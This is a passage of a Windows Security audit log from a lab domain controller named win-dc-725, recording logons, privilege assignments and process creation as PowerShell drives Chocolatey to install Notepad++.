Account Domain: WIN-DC-725 - Logon ID: 0x6D858 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:40:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246015 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6D858 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:40:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246014 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:40:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=246013 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:40:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246012 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B916 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd6c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x660 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\b2onmhlm.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=246011 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6D16A - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:40:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246010 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6D16A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:40:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246009 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:40:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=246008 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:40:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246007 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B916 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfd0 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x660 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:02 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246006 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B916 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x660 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x990 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246021 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B916 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc30 - New Process Name: C:\ProgramData\chocolatey\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf40 - Creator Process Name: C:\ProgramData\chocolatey\bin\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\choco.exe" list --local-only --limit-output --all-versions - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246020 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B916 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf40 - New Process Name: C:\ProgramData\chocolatey\bin\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x660 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: C:\ProgramData\chocolatey\bin\choco.exe list --local-only --limit-output --all-versions - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246019 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B916 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x500 - New Process Name: C:\ProgramData\chocolatey\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf68 - Creator Process Name: C:\ProgramData\chocolatey\bin\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\choco.exe" list --local-only --limit-output --all-versions - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:03 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246018 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B916 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf68 - New Process Name: C:\ProgramData\chocolatey\bin\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x660 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: C:\ProgramData\chocolatey\bin\choco.exe list --local-only --limit-output --all-versions - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246023 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B916 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd84 - New Process Name: C:\ProgramData\chocolatey\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xdc0 - Creator Process Name: C:\ProgramData\chocolatey\bin\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\choco.exe" install notepadplusplus --fail-on-unfound --yes --no-progress --limit-output --timeout 2700 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246022 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B916 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdc0 - New Process Name: C:\ProgramData\chocolatey\bin\choco.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x660 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: C:\ProgramData\chocolatey\bin\choco.exe install notepadplusplus --fail-on-unfound --yes --no-progress --limit-output --timeout 2700 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246025 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B916 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xebc - New Process Name: C:\Windows\SysWOW64\regsvr32.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xed8 - Creator Process Name: C:\ProgramData\chocolatey\lib\notepadplusplus.install\tools\npp.7.9.3.Installer.x64.exe - Process Command Line: regsvr32 /s "C:\Program Files\Notepad++\NppShell_06.dll" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:08 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246024 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B916 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xed8 - New Process Name: C:\ProgramData\chocolatey\lib\notepadplusplus.install\tools\npp.7.9.3.Installer.x64.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd84 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\lib\notepadplusplus.install\tools\npp.7.9.3.Installer.x64.exe" /S - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246032 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B916 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd1c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc8c - Creator Process Name: C:\Windows\System32\shutdown.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246031 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B916 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc8c - New Process Name: C:\Windows\System32\shutdown.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd84 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\Windows\System32\shutdown.exe" /a - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246030 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x6B916 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa38 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf6c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESF7FC.tmp" "c:\ProgramData\chocolatey\bin\CSC91C3E8FA14EC4D32BB582F3B81B5E932.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:40:09 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 